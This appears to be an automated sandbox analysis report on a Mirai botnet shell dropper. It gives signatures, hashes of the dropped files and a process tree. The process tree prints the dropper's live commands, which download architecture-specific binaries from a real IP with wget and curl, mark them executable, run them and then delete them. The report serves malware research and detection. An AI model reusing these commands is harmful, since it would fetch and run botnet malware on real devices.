Analysis

  • max time kernel
    112s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20251231-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20251231-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    07/01/2026, 03:53

General

  • Target
    b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
  • Size 3KB
  • Sample260107-efs2sser5x
  • SHA256 b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Extracted

Family
  • mirai

Botnet
  • UNST

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (27942) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 21 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 21 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
    /tmp/b70d7d24f8a7f3c2dc618086fa0529e9120a7b69d1298c9f1f439e9cbf992c29.sh
    1⤵
    • Executes dropped EXE
    PID:723
    • /usr/bin/wget
      wget http://176.65.132.205/bins/z3hir.x86 -O reaper
      2⤵
      • Writes file to tmp directory
      PID:728
    • /bin/chmod
      chmod +x reaper
      2⤵
      • File and Directory Permissions Modification
      PID:740
    • /tmp/reaper
      ./reaper
      2⤵
        PID:741
      • /usr/bin/curl
        curl -O http://176.65.132.205/bins/z3hir.x86
        2⤵
        • Writes file to tmp directory
        PID:743
      • /bin/mv
        mv z3hir.x86 reaper
        2⤵
        • Reads runtime system information
        PID:750
      • /bin/chmod
        chmod +x reaper
        2⤵
        • File and Directory Permissions Modification
        PID:752
      • /tmp/reaper
        ./reaper
        2⤵
          PID:753
        • /usr/bin/wget
          wget http://176.65.132.205/bins/z3hir.mips -O reaper
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:756
        • /bin/chmod
          chmod +x reaper
          2⤵
          • File and Directory Permissions Modification
          PID:757
        • /tmp/reaper
          ./reaper
          2⤵
            PID:758
          • /usr/bin/curl
            curl -O http://176.65.132.205/bins/z3hir.mips
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:760
          • /bin/mv
            mv z3hir.mips reaper
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:761
          • /bin/chmod
            chmod +x reaper
            2⤵
            • File and Directory Permissions Modification
            PID:762
          • /tmp/reaper
            ./reaper
            2⤵
              PID:763
            • /usr/bin/wget
              wget http://176.65.132.205/bins/z3hir.mpsl -O reaper
              2⤵
              • Writes file to tmp directory
              PID:766
            • /bin/chmod
              chmod +x reaper
              2⤵
              • File and Directory Permissions Modification
              PID:767
            • /tmp/reaper
              ./reaper
              2⤵
              • Modifies Watchdog functionality
              • Reads runtime system information
              PID:768
            • /usr/bin/curl
              curl -O http://176.65.132.205/bins/z3hir.mpsl
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:772
            • /bin/mv
              mv z3hir.mpsl reaper
              2⤵
              • Reads runtime system information
              PID:784
            • /bin/chmod
              chmod +x reaper
              2⤵
              • File and Directory Permissions Modification
              PID:786
            • /tmp/reaper
              ./reaper
              2⤵
              • Modifies Watchdog functionality
              • Reads runtime system information
              PID:787
            • /usr/bin/wget
              wget http://176.65.132.205/bins/z3hir.arm -O reaper
              2⤵
              • Writes file to tmp directory
              PID:797
            • /usr/bin/curl
              curl -O http://176.65.132.205/bins/z3hir.arm
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:799
            • /bin/mv
              mv z3hir.arm reaper
              2⤵
              • Reads runtime system information
              PID:808
            • /bin/chmod
              chmod +x reaper
              2⤵
              • File and Directory Permissions Modification
              PID:809
            • /tmp/reaper
              ./reaper
              2⤵
                PID:811
              • /usr/bin/wget
                wget http://176.65.132.205/bins/z3hir.arm5 -O reaper
                2⤵
                • Writes file to tmp directory
                PID:817
              • /bin/chmod
                chmod +x reaper
                2⤵
                • File and Directory Permissions Modification
                PID:822
              • /tmp/reaper
                ./reaper
                2⤵
                  PID:824
                • /usr/bin/curl
                  curl -O http://176.65.132.205/bins/z3hir.arm5
                  2⤵
                  • Writes file to tmp directory
                  PID:829
                • /bin/mv
                  mv z3hir.arm5 reaper
                  2⤵
                  • Reads runtime system information
                  PID:840
                • /bin/chmod
                  chmod +x reaper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:842
                • /tmp/reaper
                  ./reaper
                  2⤵
                    PID:843
                  • /usr/bin/wget
                    wget http://176.65.132.205/bins/z3hir.arm6 -O reaper
                    2⤵
                    • Writes file to tmp directory
                    PID:847
                  • /bin/chmod
                    chmod +x reaper
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/reaper
                    ./reaper
                    2⤵
                      PID:853
                    • /usr/bin/curl
                      curl -O http://176.65.132.205/bins/z3hir.arm6
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:855
                    • /bin/mv
                      mv z3hir.arm6 reaper
                      2⤵
                      • Reads runtime system information
                      PID:856
                    • /bin/chmod
                      chmod +x reaper
                      2⤵
                      • File and Directory Permissions Modification
                      PID:857
                    • /tmp/reaper
                      ./reaper
                      2⤵
                        PID:858
                      • /usr/bin/wget
                        wget http://176.65.132.205/bins/z3hir.arm7 -O reaper
                        2⤵
                        • Writes file to tmp directory
                        PID:861
                      • /bin/chmod
                        chmod +x reaper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:864
                      • /tmp/reaper
                        ./reaper
                        2⤵
                          PID:865
                        • /usr/bin/curl
                          curl -O http://176.65.132.205/bins/z3hir.arm7
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:867
                        • /bin/mv
                          mv z3hir.arm7 reaper
                          2⤵
                          • Reads runtime system information
                          PID:873
                        • /bin/chmod
                          chmod +x reaper
                          2⤵
                          • File and Directory Permissions Modification
                          PID:875
                        • /tmp/reaper
                          ./reaper
                          2⤵
                            PID:876
                          • /usr/bin/wget
                            wget http://176.65.132.205/bins/z3hir.ppc -O reaper
                            2⤵
                            • Writes file to tmp directory
                            PID:881
                          • /bin/chmod
                            chmod +x reaper
                            2⤵
                            • File and Directory Permissions Modification
                            PID:887
                          • /tmp/reaper
                            ./reaper
                            2⤵
                              PID:889
                            • /usr/bin/curl
                              curl -O http://176.65.132.205/bins/z3hir.ppc
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:891
                            • /bin/mv
                              mv z3hir.ppc reaper
                              2⤵
                                PID:900
                              • /bin/chmod
                                chmod +x reaper
                                2⤵
                                • File and Directory Permissions Modification
                                PID:902
                              • /tmp/reaper
                                ./reaper
                                2⤵
                                  PID:904
                                • /usr/bin/wget
                                  wget http://176.65.132.205/bins/z3hir.spc -O reaper
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:907
                                • /bin/chmod
                                  chmod +x reaper
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:912
                                • /tmp/reaper
                                  ./reaper
                                  2⤵
                                    PID:913
                                  • /usr/bin/curl
                                    curl -O http://176.65.132.205/bins/z3hir.spc
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:916
                                  • /bin/mv
                                    mv z3hir.spc reaper
                                    2⤵
                                    • Reads runtime system information
                                    PID:918
                                  • /bin/chmod
                                    chmod +x reaper
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:919
                                  • /tmp/reaper
                                    ./reaper
                                    2⤵
                                      PID:920
                                    • /usr/bin/wget
                                      wget http://176.65.132.205/bins/z3hir.m68k -O reaper
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:923
                                    • /bin/chmod
                                      chmod +x reaper
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:924
                                    • /tmp/reaper
                                      ./reaper
                                      2⤵
                                        PID:925
                                      • /usr/bin/curl
                                        curl -O http://176.65.132.205/bins/z3hir.m68k
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:927
                                      • /bin/mv
                                        mv z3hir.m68k reaper
                                        2⤵
                                        • Reads runtime system information
                                        PID:928
                                      • /bin/chmod
                                        chmod +x reaper
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:929
                                      • /tmp/reaper
                                        ./reaper
                                        2⤵
                                          PID:930
                                        • /usr/bin/wget
                                          wget http://176.65.132.205/bins/z3hir.sh4 -O reaper
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:933
                                        • /bin/chmod
                                          chmod +x reaper
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:934
                                        • /tmp/reaper
                                          ./reaper
                                          2⤵
                                            PID:935
                                          • /usr/bin/curl
                                            curl -O http://176.65.132.205/bins/z3hir.sh4
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:937
                                          • /bin/mv
                                            mv z3hir.sh4 reaper
                                            2⤵
                                            • Reads runtime system information
                                            PID:938
                                          • /bin/chmod
                                            chmod +x reaper
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:939
                                          • /tmp/reaper
                                            ./reaper
                                            2⤵
                                              PID:940
                                            • /bin/rm
                                              rm -rf reaper
                                              2⤵
                                                PID:943

                                            Network

                                                  MITRE ATT&CK Enterprise v16

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  reaper

                                                  • Path /tmp/reaper
                                                  • Size 62KB
                                                  • SHA256 ec39782ea367d6e0802d22c4b0e777f2a25cb53d38d8942246c4e8d54af7513d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  reaper

                                                  • Path /tmp/reaper
                                                  • Size 79KB
                                                  • SHA256 915fd8cc94d0f24729f519f1c4070d694415315bc1e95c9d29272734a5af097f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  reaper

                                                  • Path /tmp/reaper
                                                  • Size 91KB
                                                  • SHA256 0daf6782e3f452a3607ad005cd889d3c6f9d629aca5876b37b00d66c41804ebb
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  reaper

                                                  • Path /tmp/reaper
                                                  • Size 83KB
                                                  • SHA256 e43dff3feb20d73911bbdc0f43bcb5038772b5cb8800f20bb20f422f36331b18
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  reaper

                                                  • Path /tmp/reaper
                                                  • Size 84KB
                                                  • SHA256 bb110da7573aca38e37ca99c4c5abce4a5370eb5c718f1e1e1adf3d8be49ed76
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  reaper

                                                  • Path /tmp/reaper
                                                  • Size 67KB
                                                  • SHA256 be240c37cb56f7727ed3c4fa8dcc92fa6e628b450519cdcc4070c4f8e9603a8d
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  z3hir.arm

                                                  • Path /tmp/z3hir.arm
                                                  • Size 67KB
                                                  • SHA256 5a55b836e3b5d9b5e7b766b0d7ffe3672b4b9d150fc3dee3bf4eb49d7bf9b16f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  z3hir.arm7

                                                  • Path /tmp/z3hir.arm7
                                                  • Size 91KB
                                                  • SHA256 aacde0f179f3638538c8d3602b7b402390c262ae2c90024d9facf73fa7b4d21e
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  z3hir.m68k

                                                  • Path /tmp/z3hir.m68k
                                                  • Size 64KB
                                                  • SHA256 8a29b1ec616ce3423f7dc2fc6c4fc045ff38f7958dfcdb9fb21cecd1acc8af3e
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  z3hir.ppc

                                                  • Path /tmp/z3hir.ppc
                                                  • Size 62KB
                                                  • SHA256 5749e89010614cf34c215fc15f6613494b90d6664de0f1b813dd55967a0aa57f
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  z3hir.sh4

                                                  • Path /tmp/z3hir.sh4
                                                  • Size 62KB
                                                  • SHA256 0853c6cf590b295f6ec741440726ddb97b0b0f61155f7ab9c08d3f35fd5e6e73
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  z3hir.spc

                                                  • Path /tmp/z3hir.spc
                                                  • Size 71KB
                                                  • SHA256 34f848e80a044c5bdbbf6ace55421acb1ebf51a369692249c6a64b835d5c5b0b
                                                  • MD5 SHA1 SHA512 SSDEEP